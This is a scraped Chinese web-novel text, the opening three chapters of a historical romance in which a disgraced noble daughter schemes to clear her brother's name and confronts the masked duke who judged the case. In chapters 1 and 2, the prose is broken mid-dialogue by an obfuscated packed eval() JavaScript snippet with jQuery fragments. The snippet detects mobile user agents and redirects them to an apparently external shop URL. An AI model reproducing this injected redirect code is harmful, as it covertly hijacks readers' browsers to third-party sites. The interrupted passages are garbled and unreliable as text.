《与宿敌成婚后》 1. 01 春时夜雪,夜凉如水。 狱卒腰间上别着的佩刀划过青石,凿凿切切,寒音凌乱。那一簇微亮的篝火也受了惊似的,噗噗直跳,微凉的烛火为困在此处的女囚们蒙上一层衰败的影。 狱卒是新人,今日本不是他上值,却被老吏欺压前来送饭,心里自是带着股气。 “砰”的一声,嗖饭肆意地扔在地上,牢里的女囚一涌上去疯抢,伴着含糊不清的骂声,囫囵塞入嘴中。放了饭,狱卒就迫不及待离去。 就在转身之时,最深的暗角传来一女音,声如冷玉,当真悦耳。 “我有冤要鸣,请递我状纸。” 相同的话术狱卒已听了不下百次,腻到发笑,但凡羁押在地牢之人哪个不是哭着喊着自己有天大的冤屈,时日一场,自知无用,便会焉了。 这女子应是刚来。 手中暖色烛火慢慢铺开,照亮暗角女子清丽的五官。他不通文墨,没有精致的词语来描绘她的美,心中只喃喃一句宛若仙子。这娘子虽与其余女囚一样着素布,可偏她是这般冰清玉洁,与那些抢饭的疯妇简直有天壤之别。 见她黑发如云,秀雅绝俗,看着属实像官家小姐! 狱卒又傻笑着摇了摇头,倘若真是身份高贵之人,又怎么会落狱呢? 他擒着笑:“你是何人?” 女子缓缓仰头,一双水眸美得惊心动魄,朱唇微启:“洛阳姜氏嫡女,姜时愿。” 狱卒双眸圆瞪,着实吃了一惊,还真是贵女!论起姜家无人不知,是名誉汴京的簪缨世族,书香门第。已故的姜老爷子曾为左相,其子承父祖箕裘,修为翰林院学士。而姜家嫡女姜时愿,虽身在闺中但温静贤良之名早已远扬。 “像姜娘子这种贵女天生就和咱这种只会干粗活的人有云泥之别。” 狱卒略有耳闻,叹了气:“只可惜出了那档子事情....” 姜时愿听着狱卒这话,静如死灰的心终于水波过境,那件事无时无刻不在清醒和睡梦中折磨着她。 她从前总觉得她是幸运的,落地时就含着众人不可及的金汤匙,得长辈疼爱。虽然双亲后因伤病撒手人寰,好在还能与兄长姜淳相依为命。 兄长多年如父如母,教她读书写字,千娇万宠地疼着她,更不惜花费财力为她大办生辰宴,不少世家小姐和王孙公子尽数赴宴。 生辰那日,她缠着兄长求他不要进宫,姜淳还如儿时般拿着蜜饯哄着她,说燕王传召他不得不去,应下她处理完就会尽快回府。 兄长以大事为重,姜时愿也不能再耍小孩心性,遂让兄长离去。鹿鸣花宴上,她听着枯燥乏味、千篇一律的贺词索然无味,纵使厌倦、乏累,也只能以礼相待,内心唯盼着早点见到兄长,与他同庆。 可这一点盼望碎得一干二净。 皇城内,候在金云殿的内侍迟迟不见燕王出阁,心察不对,率人破门而入。结果只见翰林学士和燕王一同倒在了地上,燕王口七窍流血,气息微弱。而一旁的姜学士早已没了气息,毒酒缓缓从手中的杯盏中流出.... 好在经过太医院全力救治,燕王度过了鬼门关,捡回一命。 可是,谋杀皇族是重罪,哪怕是不受圣人待见的皇子。百名云纹黑袍的禁军持刀闯入为首的总御命其下查封姜家所有的家底,绑了府中百人,宾客慌乱四窜。 总御大呵:“姜家好大的胆子,竟敢包藏祸心,企图暗杀燕王!” 那时她还在闺阁中更衣,不知宫中出了这天大的事情。砰的一声,管家冒着杀头的风险攥着她从地窖出逃,离别之时,望着她,两行泪直下,道:“小姐,一定要平安无事啊。”而他为了引开禁军的注意,留在了阁中。 逃出姜府之后,许多禁军在城纵马而过,如同一张网令她无处遁逃。好不容易甩开禁军,可接下来的日子她只能戴着幕篱如阴沟老鼠在街上流窜,睡破庙,喝雨水,饥不裹腹。 她相信兄长绝不会做弑君之事,姜家是蒙冤的,同时也心忧全府上下百条人命,苦于一介女子人微言轻,只能另寻个肯为姜家昭雪之人,思及此,她首先想到了与姜家素有交情的蜀中傅家。 攥着那一点点希望,赤着脚从汴京跑到蜀地,日夜兼程、不敢停歇,跑了三个月,即将赶到傅家之时,与一对甲胄狭路相逢,被人生生擒住。 她以为已经成功甩开追兵,事实上也是如此,前来捉她不是汴京禁军、都察院,亦不是大理寺,而是她最不愿直面的,被世人敬为‘阎罗殿’的典狱。 倏尔,姜时愿和狱卒的暇谈因一阵零碎的脚步声戛然而止。 狱卒看清了来人的面容后深深地福身长楫,遂冷不丁被吩咐打开铁索,麻溜地从腰链上卸了把钥匙,对着姜时愿道:“有人请姜娘子到金字牢一叙。” 姜时愿见铺在青砖上狭长的身影,轻蹙的眉头终于松缓了下来。 她要等的人终于来了。 从班房走到金子牢的夹道中夹带着嘈杂的惊叫嚎哭,走到最深处,姜时愿止住了脚步,而牢中的玄色云纹男子恰时吹灭了蜡烛。她不禁心中发笑,也是毕竟他的身份在此地跟她一样见不得光。 林清道:“这一路上人多眼杂,没能有机会和娘子说些体己话,眼下好了,无人打扰!” 能让堂堂典狱左使私下迷会一个女囚,唯一色字使得,姜时愿在蜀中被生擒之后,就发现这一路解押他的典狱左使的眼神有些不清不楚,虽然隐晦,她可太清楚这些男子的花花肠子,倘若之前,定会胃内反呕,避得远远的。 可是如今沦为阶下囚,对外界消息蔽塞,还有许多疑团未能得到解答,她唯一能想到、能利用之人,唯有眼前的林清。 纵使她有多厌恶,为了姜家,她也得露着笑。 姜时愿刚想行礼,就被急不可耐的林清抓着臂膀止住,那嗓音当真是掺着浓重的情.欲啊,“终于来了,真的想死本左使了。那日蜀中逮捕娘子的,瞧那铁链锁在你身上,可真心疼死我了,奈何令不可违啊,不然我怎舍得伤着娘子。” 姜时愿先是安抚着林清坐在条凳上,面上的笑容在背过身去的时候转瞬即逝,水流缓缓从壶嘴倾斜而下,郎朗流水声,玲玲作响。 她看似漫不经心地问起,“不知是哪位大臣负责主审姜家之案?” 林清看着那窈窕身段,已开始肖想着那轻薄白衫之下的白润玉臂,这心思愈发抛锚,已经无暇把姜时愿的话再过一遍: “一月前,圣上将姜学士谋害燕王一案全权交由魏国公主审。” 魏国公,谢循? 谢循在世人口中又称‘罗刹’,是多少罪犯夜间不敢提及的梦魇,就连身在闺阁的她都听闻过此人的毒辣。 世人常论,魏国公谢循权势滔天,创立典狱,掌管天下刑狱,上察文武百官,下纠冤假错案,其风头、权势一度盖过三法司余下的大理寺和都察院。当今圣上还极为重视谢循,赋予他一人“大事奏裁、小事立断”的职权。 姜时愿微怔,难怪逮捕之人会从禁卫军移交给典狱司,原来是全部移交给谢循查证、定罪。 “案子进程如何?魏国公可有查清此案?”她急切追问,“听说魏国公断案如神,定能还姜家一个清白。” 林清咽了口吐沫,眼神如狼似虎:“我知娘子心情,可姜家已被国公定了罪,姜学士谋害皇子证据确凿,再无翻案可能。” 什么叫已定,什么又叫再无可能翻案? 谢循接管毒杀燕王一案不过三日,到底有没有细细查证、考究!审查此案牵连之人、再是断定毒药、买手、又经手何人皆是费时之事,还有列罪、呈证物,他谢循凭什么仅仅三日就断言兄长谋杀阎王! “我要见谢循。”姜时愿神色不再平缓。 “国公可许人物怎么会自降身份来见一个阶下囚?”美人发怒都是如此好看,林清哼了一声,挑着眉眼继续说道。 “娘子啊,别挣扎了。还有魏国公已定决断, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053440|149083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三日后姜府所有男子押入死囚,而女子沦为贱籍。而你作为姜学士唯一的亲眷,判决还未下来,但我猜测左右横竖都是死路,你已没得选择,除了依靠我,而我会替你向魏国公求情。” 什么..... 死囚是什么地方,关押穷凶极恶之地。而女子沦为贱籍,就是让她们这辈子沦为男子玩物,翻不了身! 姜时愿彻底断了最后的念想,她不惧怕自己的判罚,早已做好了与兄长一损俱损的打算,可府中的奴仆、管事及侍女皆是无辜之人,怎么能让他们也承担姜家之罪。 听此噩耗,姜时愿脚膝一软,苍白腕骨强撑着身子的重量, 蓦然垂首,不让林清看见她眼中的失色。 男子向来都爱女子垂泪的怜样,可偏姜时愿是个犟骨头,从不会在他人面前袒露弱肋,向来都打碎了牙往肚子中咽。 没有见到预想之中的梨花带雨,林清略微有些不满:“你放心,只要娘子跟了我,定不会让你香消玉殒。” 下一瞬,一只汝窑六葵杯盏喂到他嘴边,林清双眼放光:“娘子是应了?” 姜时愿软睫微垂,“承蒙大人美意。” 听这声又娇又柔,林清以为她终于从了,咕噜一杯下了肚子,不带丝毫犹豫。 正当手指麻利地解开裤绳之时,两肋开始发腻,耳户滚烫,须臾后,五脏六腑阵痛,四肢无力倒了地,那眸光死死盯着无动于衷的姜时愿,“你竟然敢给我下毒,是活腻了吗!” 下毒?姜时愿冷冷一笑,她不屑此等阴毒手段。 大庆以女子抛头露面、不学女德为耻,这些事情很多男子可以做得、享受赞誉,而到了女子就是不守妇德,就要循规蹈矩地相夫教子、掩藏锋芒。 例如医术就是如此。 估计这位副左使做梦都想不到眼前矜贵的小姐曾历精医术,深谙草药之道,不过就在偶然接近林清时闻到他衣衫上沾着鹿血酒的味道,鹿血大补虚损,益精血,是个良药,但是不可与蜂蜜同饮,否则会伤及肺津。 而她正是在他得意忘形之时,在水中掺了些许蜂蜜。 林清还坚定地以为姜时愿给她下了毒,以为自己命不久矣,咒骂她的无耻,双掌攥着她的裙踞,“快,快,快把解药给我,不然典狱上下都饶不了你!” 凌冽的梅香在暗牢内幽幽散出,昏黄的月波映照着姜时愿周身的清冷绝尘。 她就静静站在此,看着林清在匍匐在地挣扎,仰头望向铁窗之外。 只不过这次,她改了话术,不再是被动乞求见谢循,而是: “想要解药,就让谢循来见我。” 地牢这边刚燃起第一炉香,香馥白雾缓缓从鎏金炉顶泄出。 姜时愿的鬓发旁生出细细密密的冷汗,这种不安使她轻蹙着眉头,对于谢循到底会不会来地牢,她拿捏不准。 赌的不过是,一是林清在典狱司有一席之地,虽是副左使,也好歹是五品官员,定不会坐视不理;二是谢循不会放任自己御下出了私会囚犯的乱子,若任有此事宣扬出去会污了典狱在百姓心中的公正,三是... 内心不知为何隐隐有预感,她一定会见到谢循。 微卷的烟发被一双素手用玉钗挽上,弯身将裙踞上的泥泞洗净,并细细每一寸的褶皱,确认服饰鲜洁,身不垢辱之后,姜时愿从随身携带的香盒舀上一指甲凝结成块的沉水香浸入水中,静等谢循。 她始终谨记阿耶的一句,姜家之子哪怕身陷囵圄,风骨也不应减。越是逆境,越是修心之时,绝不能被人低看。 可她静等了许久,也没听到有人前来的动静。 慢慢地,一个时辰后,她的心开始不定... 以为盘算落空之时,牢房前被人安置了一把金丝楠太师椅,很快就走来了两列锦衣。 紧接着,一个红袍绫罗之人坐在她面前,薄衫宽袖,腰带松系着,拿着余光扫视并问道:“你就是姜家嫡女,姜时愿?” 2. 02 姜时愿也同样审视着眼前这位少郎,眉目还未张开,不出十岁的模样,可他一言一行都带着孤傲和怪诞感,心生疑窦,“魏国公派你来见我?你是谁?” 那少年眼神鄙昵,漫不经心地捏着手中的草兔子,并无作答。 疼得在地上打滚的林清,强撑着身子行跪礼,点明身份,“见过六处。这女子简直吃了熊心豹子胆了,求您赶紧法办此人。” 袁黎一个扫眼,林清被就被骇得一字不敢发,年长者对孩童卑躬屈膝、任其羞辱,着实有些滑稽,可惜她眼下笑不出来。 已经被姜时愿猜到了一二,袁黎也就不打算兜圈子,“国公派我前来传话,林清虽然品行不端、私德有亏,但也是典狱的人,不可随意欺之,你可听懂了?” 姜时愿笑了:“典狱既不能管束手下司使,便由我来管,也算是为民除害。” 袁黎懒散地躺在太师椅上,指节绕着多出来的一截草头,他好似很厌烦与人谈判,脑子也不愿意动,“我无意与你在此争辩这种无聊之事,说吧,除了翻你姜家之案外,要什么条件才肯交出解药?” 姜时愿正声道:“允我一炷香的时间,让我出地牢。一炷香后,解药双手奉上。” 袁黎瞥了一眼,立即答道:“可以。” 遂下令让手下的司使给姜时愿松了绑,打开牢笼,并在庭中青炉中正插一香,见她不为所动,忍不住催促道:“你怎么还不走?不赶时间吗?” 姜时愿不可置否:“你为何想都不想就应了?”这几乎不合理的条件,她先前还几番纠结被拒绝之后要怎么斡旋,没想到被轻飘飘地应了?这少年葫芦里卖的什么药? 显然她多想了,袁黎面不改色,道:“国公说,无论姜娘子说什么,一律应允。” 眼前的少年毫无教养,都是直呼较他年长的姜时愿为你,而此话中尊称她为姜娘子,显然是一字一句复制了谢循的话语,她不是不敢相信有人会允她无礼的条件,而是她不敢信亲自判案姜家谋害皇子的谢循会无条件允她,甚至...,还说无论姜娘子说什么,一律应允。 谢循葫芦里卖的什么药? 她对这位罗刹她始终知晓太少,不过眼下当务之急是离开地牢,只要能找到愿意为兄长洗冤之人,姜府就还有的救。 她离开时甚至都没有典狱的人跟随,懒在太师椅的袁黎一心留在草兔子上,连一个眼神都没落给姜时愿。只是在她快跑出地牢时,忽然想起来了某事,声音极大,嚷得她蹙眉。 “国公交代路过永乐街时,记得在右拐第二巷的甜江月买一盒它家独有的桂花糕!” “为什么?” 那袁黎一个轻功如云流水闪在她前面,牵来一匹雪驹,将缰绳直接递到她的手中,侧着脸,隐去燥红:“国公好食那家的桂花糕。” 罗刹谢循不喜血肉,反爱甜食。 听着有些讽刺,姜时愿可不信,其中必有深意。 风声在耳旁呼啸而过,她攥着缰绳在街上驰骋,她还是不解。这典狱之人怎么好似跟她预想中大有差距,可留给她的时间不多,来不及细想喜怒无常的活阎王,姜家绝对不能蒙上不白之冤,汴京城中她还唯有一个依靠,是她最后的希翼。她虽然万般不想让与她有姻亲的盛家出面,可这是唯一盛老太傅是能抗衡谢循之人。 她相信那个满眼是她,上元灯节,在月下守誓会护她一辈子的盛怀安一定会帮她! 姜时愿整个人紧绷到极致,三分之一香燃尽之时赶到了盛府,四周的百姓盯着她双腿的血瘀,生出怜惜,还有不少人对她一身污浊指指点点,她顾不得周围的目光,叩响府门。 取而代之,回答她的是东方传来的叫卖声:“桂花糕,甜而不腻,口感软糯,一人仅限一盒,售完即止。” 那时她脊背渗出一层细密的冷汗,回头眺望是谁人吆喝,正巧对上了牌匾,甜江月。 她双眸圆瞪,是巧合还是谢循也再一次预料到她会来此,怪不得盛家迟迟不应门,原是早已被谢循暗中施压了吗?难怪他会毫无顾忌地任她跑出地牢,原来是囚中观鼠斗,笑她的自不量力、看她绝望怅然而后大快。 正当她胡思乱想之时,直棂开出一条缝,管家小心探头,慌乱地把她拽了进来,拿着白衫严严实实地盖住她的脸,“姜娘子这种时局是怎么还敢乱跑?你不是被抓进女牢了吗,怎么逃出来的?” 一路上管家的问题喋喋不休,姜时愿无暇应答,只是庆幸刚刚一切只不过是瞎想,盛家此时还愿意见她,就代表着愿意相帮! 管家将她领进清净苑,府中每个人都人心惶惶,她问道:“怀安呢?” “你见不到犬子了”,身后一苍劲的声音倏然让她心中发怵,她识得是盛太傅的声音,回望过去。管家识得大体,立即退下关紧门扉,非常之时,容不得半点差错。 盛太傅身居高位,但没有上位者的居高临下,对她总是眉目慈祥,外人口中常常称赞她。姜时愿不止一次性命如真的嫁进盛家,真是挑了个好夫家。 可此时,她明显能察觉盛老的戒备,立即跪在他的跟前,行着大礼: “您是知道我兄长为人的,断不可能谋害燕王,还请盛老在朝上请奏换人、换司重新彻查此案,都察院主司,大理寺主审都行,但万不能是谢循!” 盛老冷冷地说受不得姜家嫡女的大礼,一面又不扶她起身,满心都是克制距离,听着她提到谢循的名讳,立即红了脸: “闺阁女还敢妄言朝政,魏国公是何人,汴京谁人不清楚?罗刹转世,典狱中关押的犯人哪人谁上不沾着几条人命不也被谢循骇到无声吗,你让老夫上奏就是公然和魏国公叫板,那你想过我们盛家会如何吗?” “朝堂上步步暗涌,魏国公所创典狱可不是为了查几个案子那么简单,更是为了帮助圣人监察百官。你还记得沈氏公然在朝中上书国公凶残无道、有违仁义,紧接着就被无声无息血洗了全族!” “你当真肤浅!” 他原以为姜时愿会被骂得抬不起头,谁曾想对上了一双犀利的明眸,她不再跪着,挺直身子和他平视:“盛家是为了趋避利害,不愿想帮了?这也是盛怀安的意思吗?” 一番话怼得盛老哑口无言,急赤着白脸,叫家奴将这不顺之客请出去:“盛家和姜家再无往来,念及旧情,老夫会给你些银两,你若葬身皇陵,会寻人替你收尸厚葬。” 好一个念及旧情,姜时愿满腔悲愤悬在喉间,双眸殷红,“既然盛老要扯旧情,小女就与你好好论上一番。” “您老得势,仕途坦荡,可还忘了当年金科选拔,次子满腹才伦却遗憾落榜被尚书之子取代,是我阿爹力排众议,察觉官场勾结、主考舞弊,不惜得罪权贵,在朝中替你喊冤。阿爹当时可有你如今这般冷眼旁观!” “再说其次子,”听到次子,盛老心咯噔了一下,连忙让她闭嘴,可姜时愿非要将一起坦然给他列举盛家欠了姜家多少恩情,“次子不知天高地厚,喝酒调戏礼王侧妃,可谁哭着跑来求我兄长出面保他盛怀启一命吗?需要小女提及,次子还有做过哪些猪狗不如的事情吗?” 盛家二字,长子盛怀安颇具才名,可其弟盛怀启确实臭名昭著,夜夜楚楼赛金帆,还在游园会上借着酒劲轻薄一女,谁料此人竟然是礼王妾室,这简直罪无可赦。 盛怀启自知不妙,哭着喊着求姜淳出面央求礼王,说只是言语轻薄了几句,甚至连盛老也当兄长之面下跪,要不是礼王急于招安兄长,何故会轻易隐下这杀头重罪。 这是兄长顾忌盛老年迈,无奈出面,原真以为盛怀启之时言语轻薄了几句,谁料...那侧妃渐渐大了肚子,为此兄长懊悔不已,听到妾室投井自尽,更是一病不起,调养了三年才终以见好。 姜时愿原不想以此威胁,可唯有此才能换得姜家全府一线生机,盛老仰头看着青天,默默沉思,说罢,抖着身子一如跪在兄长面前的苦楚模样,声泪俱下,“姜娘子,我盛家全府上百条人命,你让我如何得罪的起谢循,你行行好....看在和怀安青梅竹马的份上,你也不愿让他为了你丧命啊....” 往日情动的时光不合时宜地在她脑中放了一遍,那个曾说会为了对抗世俗的男子,说不介意她学医的竹马,曾说等她笄礼过来就上门提亲的情郎,终是抵抗不住变迁... 她很不甘愿就此作罢,却也清楚明白盛府家奴、无辜之人,不该被牵连,背过身去,胸腔止不住地起伏不让人听见她的失态, “您最多能帮到什么份上?可都保我姜府百口留住一命?” 盛老知晓判决已下,三日后男子入典狱,女子沦为贱籍,额间深深抵着青砾, “可,老夫会尽我所能保入典狱男丁安然无恙,女子会拿银两暗中替他们赎身。” 得盛太傅一句话,姜时愿也算安心了。 为了百条人命,她跪地谢恩:“有劳太傅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053441|149083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 盛老难为:“至于你的判决迟迟未下...怕是凶多吉少。” “不必顾及我。”姜时愿转身离开。 盛老望着那背影落了泪,“不要恨我,也不要怨淮安,是我逼他与姜家断绝往来。” 闻言,姜时愿脚步一凛,是又不是又能怎样呢,不过亡羊补牢,盛怀安连与她相见的勇气不都没有吗? 走出盛府,天公下起细雨,雨珠落在她清丽的脸庞上,悬在她的软睫,朦胧一切,实实虚虚,汴京城繁琐如常,偏她一人孑然一身。 齿痕初氤出点点猩红。 她抬手抹去眼角的泪意。 姜时愿站烟雨之中,任蓑雨浸湿她的衣襟,寒意攀上之时,一把橘红纸扇横在她的头顶,她连忙侧过脸,平复情绪。袁黎啃着包子,半身站在扇外淋着雨,半数将伞让给姜时愿,“盛府不肯帮你,你已经无计可施了,乖乖和我回女囚吧。” 他的掌心之中捧着一尊青炉,香已燃尽大半。 眼前的女子已经无路可走,这香便已没了涌出。 袁黎低头正欲吹灭,却被一只素手遮住,想想也知道青烟多烧人,他都替她着急,大吼道:“你干什么!” 姜时愿半阖着眼,如个没事人一般,“还有半柱香,你怎么就知道我回天乏术?”她抬起眼眸,望向伫立于穹楼之后的典狱,目光坚韧,“这最后半柱香的时间,自然是要拜会魏国公的。” .... 青烟徐徐腾上,化作典狱前两尊石作貔貅血盆大口前的一缕吐气,身形如虎豹,首尾似龙状,震怒着双眸盯着在斜飞的丝雨娉娉婷婷走来的女子,素白衣诀被狂风吹着跌落不定。 她如此笃定、决绝直面不绝于耳从地牢中传来的哀嚎哭绝。 而袁黎只是抱着看戏的玩味,双手抱胸观着姜家小姐的最后的挣扎,因为他清楚的知道,国公不会见她,任此女子如何在府门前哭天喊地、亦或者破口大骂,都分不走里面的人一丝心神。 他漫不经心地专注着手中的纸兔子:“每天有多少人在典狱哭天喊地、破口大骂,可都动分不走国公的一丝心神,你若是想效仿这些,还是省省吧。” 绶带上的环佩玲玲作响,姜时愿嘴角微微上扬,双手握住棒槌,“是吗?” 袁黎双眸圆瞪意识到她什么,急忙一跃身想要夺掉,可惜一切都已经太晚了,震耳欲聋的鼓声骇得他捂住双耳,大吼道:“你疯了?!” 阙左悬登闻鼓,人有穷冤,则挝鼓,公车上奏其表。 “咚——” 晓声隆隆,响彻云霄。 近百年也未有人敢敲的登闻鼓在此刻被一女子敲响。 沉闷的鼓声传至汴京,惊起无数飞禽,此声一传千里,瞬间许多窗棂被推开,行人纷纷围至典狱门口,各个惊恐不已,就连过路的车撵都已悬紧缰绳。 袁黎大喊不妙,回望过去,典狱门前人群络绎不绝,无数眼睛落在貔貅之下的女子,可要在此时强行捂嘴,既违背了创始登文鼓的规矩,也会让人觉得典狱心中有鬼。 人群有人问道:“姑娘,你可知非大贪大恶,奇冤异惨者才能鸣这登闻鼓,否为重罪。” 姜时愿缓缓转身,恍若水墨勾勒的眉眼毫无惧色地对上身后前千百数眼睛,高举手中的状纸。声音如珠玉般泠泠,字字铿锵:“大庆铁律,有人挝登闻鼓,主司即须为受,不即受者,加罪一等。” 说罢,又将一把匕首掷在众人面前以表来意,“姜家嫡女姜时愿为兄长鸣冤,还请魏国公相见!” 袁黎狠狠咬牙,眼见百姓的面色都变了样。姜时愿这一出戏彻底立于谢循为骑虎难下的境地。 先是以大庆铁律威压典狱不得不秉公执法,受理她的上书。 而此女更绝的还在后面,在众人毫无顾忌袒露罪臣的身份,就是要让百姓心中觉得,她一个罪臣,要是真没有天大的冤屈,会拼死一搏来典狱门前击鼓鸣冤吗?而且典狱宣称姜学士谋害皇子证据确凿,那谢循为何不敢见她、为何不敢接她的状纸? 谢循若是不敢见她,百姓自会人云亦云,心中认定这绝对是桩冤案,从而质疑典狱的威名。 不管怎么说,姜时愿的目标已然达到。 不出一刻,青铜门后传来动静,藏青蓝衫的青年府门后现身,朝她行礼,一双眼睛平静且温和,态度恭敬: “魏国公召见,请姜娘子请移步入典狱。” 3. 03 臧青蓝衫的青年提着宫灯,边温声引路,边说道:“吾乃魏国公御下负责编纂案卷详宗的案吏秉笔——陆观棋,接下入铜柱地狱之路就由吾带娘子前去,魏国公在那等娘子。” 姜时愿朝陆观棋回礼道谢,这让后头窝着一肚子气的袁黎终于爆发,气到两腮鼓鼓的,“卑鄙无耻,装什么清高!耍这种阴谋诡计,简直令人不屑。”更甚急败坏地将青炉掷在地上,狠狠足靴碾熄那柱香,连跺数十下:“就不该允她一炷香时间,作废作废!” 陆观棋掌心按住袁黎,道:“国公让我转速六处,言出必行,愿赌服输。”一听是谢循的话,袁黎就没了声了,陆观棋又温笑着对姜时愿解释到:“姜姑娘莫怪,六处唯独对国公一人言听计从,其余人都不曾放在眼中。” 陆观棋领她至铜门,姜时愿才看清匾额提着‘十八狱’对应《十八泥犁经》中的十八地狱。到了‘十八狱’,袁黎如有禁制,止步不敢前,姜时愿大概也猜到应是‘罗刹’不许他来此,毕竟他只听谢循一人的话。 她走过了层层青铜关,烛光照应着脚底猩红的血迹,越至里,不绝于耳的惨叫愈发惨烈,似鬼非人,也与经书所记,所受之罚与罪刑轻罪排列,每一地狱比前一地狱,增苦二十倍。 谢循不愧罗刹之名,将要与人打交道,姜时愿莫名心里发怵,而陆观棋在第六扇青铜门前止住脚步。 “历来求见国公之人都要在青铜门前用小刀割去一层皮才等以召见,姜娘子的殊荣,真是羡慕不来。”这话渗着诡异,这份殊荣好似被吹成了天大的赏赐,不等姜时愿思索,陆观棋转身,“接下来的路娘子得自己走来,一路走好。” 姜时愿颔首谢过,秉笔赞她知礼,她又最后问道:“秉笔可知,姜府上下百人如今被羁押在何地?” 陆观棋:“男子皆在諵狱,女子在北屿。而娘子则不同,姜淳毕竟是你的至亲手足,出了青铜门之后,要被羁押入典狱,停留上三日。” “娘子慢走。” 森然殿内唯她一人,白衣穿梭于庭柱之间。 姜时愿接过手中的宫灯,越往里,血腥恶臭越重,越森冷,更是心里的冷意作祟。 青铜门沉重地阖上,铜柱地狱里的蒸汽热得脚心发烫,秉笔也在此时悄然褪去,四下无人,为了见到谢循,她只能往里探。 倏然,一个满目疮痍、全身上下皆是烂肉面容冲到了她的面前,要不是脖颈上的铁链深深禁锢住他,她怕是吓得魂也没了,那人腐臭的双手极力去捉她,眼神惶恐,流脓肿眼苦苦求她,“带我走!求你了娘子!带我走!” 这一吓,她手中的宫灯不稳,掉在了血地上。下一瞬,那人就被突然缩紧的铁链勒得退至铜柱,浓烟从他后背滚滚而起,直接烫破层层血肉。 “这里的鬼不懂事,姜娘子受惊了。” 融雪碎玉的声音从身后入耳,声线温润,可透着怪诞,令姜时愿罕见地头皮发麻,手心沁出薄汗。 那令人胆颤的嗓音依然不肯饶过她,继续说道:“听闻娘子在女牢时不止一次念着求见谢某,怎么如今,娘子却不敢转身相见?” 殿内幽深,静得可以听到她笃笃不定的心跳。 若是有可能,姜时愿一辈子都不愿意和这种披着人皮的鬼神打交道,可姜府上下百口人命堵住她的心,她只能转身迎上。 地狱罗殿森然,微透着月光洒入载满案卷的书案和一块被人凿出的水缸,粉嫩的荷花尖水珠盈盈,隐约能听见缸里鲤鱼打挺之声。 水声朗朗,青年着着松竹墨白袍,袅袅白烟遮去颀长的身影,平添了几分莫测,颇为书生气的手中捏着饵料,冷冷地碾碎白色的糕点洒入池中,鲤鱼争先浮出水面抢食。 他竟然在面不改色地阎罗殿里喂鱼,养花? 这怪诞祥和之感让姜时愿有些难以置信,血腥之中还飘着似有似无的甜腻,她遥遥远望才看清案几之上有几空了的食盒,残留着仅剩半块的桂花糕。 姜时愿蹙了下眉头。 原来,魏国公喜吃甜食竟是真的。 明是背着身子,谢循却好似猜透了姜时愿的所思所想,嗓音暗哑:“我也猜想娘子会寻盛府,其途必会路过江甜月,顺路可带一盒桂花糕。” 姜时愿没应。 谢循反倒笑了: “我允姜娘子一炷香,可娘子两手空空来见我,就是如此回礼的吗?” 眼前之人掌握着姜府的生杀大权,姜时愿不敢开罪他,话题绕开桂花糕,连忙跪下,“还望国公明察秋毫,兄长最是忠心侍君,断不敢毒杀燕王,姜家也不敢有造次置信,还望您能为姜家洗冤、还兄长清白。” 世人皆畏的‘罗刹’隐在腾起的水雾之后。 地砖的燥热让她后脊汗涔涔,回过神来,一滴汗珠凝在下颌悬而未落,她听见谢循提步步向她逼近,她也借机向上窥探。 正欲行此时,她的下颌被折扇轻巧地抬起,目光凝在被折叠的丹青山水之间还有他分明腕骨上。 那折扇似有节律一下一下轻点、提起。 将她的面容渐渐映入谢循眼下。 姜时愿看不清他的神色,只能闻到他身上淡雅的白梅香,似被春雨润过的泥土露水、草木梗茎。 听他嗓音发冷,“姜娘子,此案是我亲定、亲审,姜淳意图谋杀燕王,后自刎谢罪,证据确凿。” 这是什么意思?姜时愿后颈发凉,是说姜家之罪已定,若再让他翻案,岂不相当于打了他在世狄公的脸?还是说,这大庆律法之中,他一手遮天,纸笔颠倒黑白! “魏国公,你是蠢吗!” 姜时愿压抑已久的心火迸发而出,“既然已铁定兄长为真凶,那我问你,入宫前百官都要过玄武门搜身,若姜淳身上藏着匕首,当日上值禁军为何没有发现,那凶器到底从何而来,到底是谁给他的?” “世间刺杀之法千万,毒杀、暗杀、派人行刺,哪一样不比专挑私会之时当面行刺来得机敏?姜氏乃是四大世族之首,姜淳又位居高位,怎会不顾青云仕途和家族,选择一个最为下策的办法!” “再言之,姜淳自刎谢罪,那又为何连留下谢罪书的勇气都没有,况且那日还是家妹最重要的生辰礼!” “你说话啊,谢循!你蔽聪塞明、有眼如盲,你与猪狗有何不同!” 不对,她的恭顺倏尔消失,嘶吼着出声,而他听了怒骂也无动于衷,甚至轻慢地笑了出声。他竟然在笑,在高兴?他在笑什么? 仇恨冲垮姜时愿的理智,就再冲上前之时,左右两肩被突然蹿出的司使死死钳制住。 姜时愿透着未干的血迹,看着地砖上谢循模糊的倒影。 他戴着鎏金面具,青面獠牙的面具扭曲如罗刹,扯着狰狞的笑容,口角两旁露着细长的尖牙。 原来,罗刹之名非浪得虚名...他戴着青鬼面具,一举一行犹如修罗... 大庆为官相貌端庄为前提,而谢循偏偏以面具示人。 想起兄长曾向她提过,谢循许是是其面狰狞丑陋羞于见人,也亦是想借此青面獠牙之面来威慑‘恶鬼’,反正在朝中显过真容。百官无人知晓他的模样,唯独对青鬼面的狰狞可怖铭记在心。 尽管早有听闻,可姜时愿仍在见到他面具的刹那,脑中一瞬空白。 